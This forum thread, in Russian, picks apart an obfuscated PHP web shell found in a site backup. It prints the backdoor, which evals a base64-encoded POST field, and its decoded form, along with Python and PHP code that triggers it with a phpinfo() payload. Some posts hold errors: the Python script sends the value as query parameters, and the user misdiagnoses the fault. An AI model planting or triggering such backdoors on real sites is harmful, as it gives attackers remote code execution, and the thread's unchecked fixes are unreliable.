Нашел такой код PHP: <?$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n828e00'])) { eval($s21(${$s20}['n828e00'])); }?> Моих поверхностных знаний пхп хватило, так сказать, отреверсить что тут вообще происходит =) Получается вот такой код PHP: if (isset($POST['n828e00'])) { eval($base64_decode($_POST['n828e00'])); } То есть, теоретически, POST-запрос вида http://site.com/index.php?n828e00=cGhwaW5mbygpOw== должен вывести выхлоп phpinfo(). Накатил быстренько скрипт на питоне чтобы потестить на локалхосте, но у никакого выхлопа от phpinfo() нету. Эксплоит import requests payload = {"n828e00" : "cGhwaW5mbygpOw=="} r = requests.post("http://localhost/viros.php", params=payload) Помогите разобраться как этот пхп работает
Все правильно работает, у тебя только там в "декодированном" скрипте описка. Если ты его использовал, то может из-за этого не работал. Правильная версия: PHP: <?phpif (isset($_POST['n828e00'])) { eval(base64_decode($_POST['n828e00']));} Пример на php, который отрабатывает phpinfo(): PHP: <?phpecho file_get_contents('http://localhost/122/1.php', false, stream_context_create(array( 'http' => array( 'method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => http_build_query(array('n828e00'=>'cGhwaW5mbygpOw==')) ))));
Дело в том, что это не моё Я слил бэкап сайта, а сам шелл нашел случайно. Я правильно понимаю что не рабоатает из-за eval($s21(${$s20}['n828e00'])); где ошибка именно в $s21 когда должно быть ${$s21} ?
http://somewebgeek.com/2014/wordpress-remote-code-execution-base64_decode/ http://mattgreensmith.net/2015/01/11/deobfuscating-php-malware/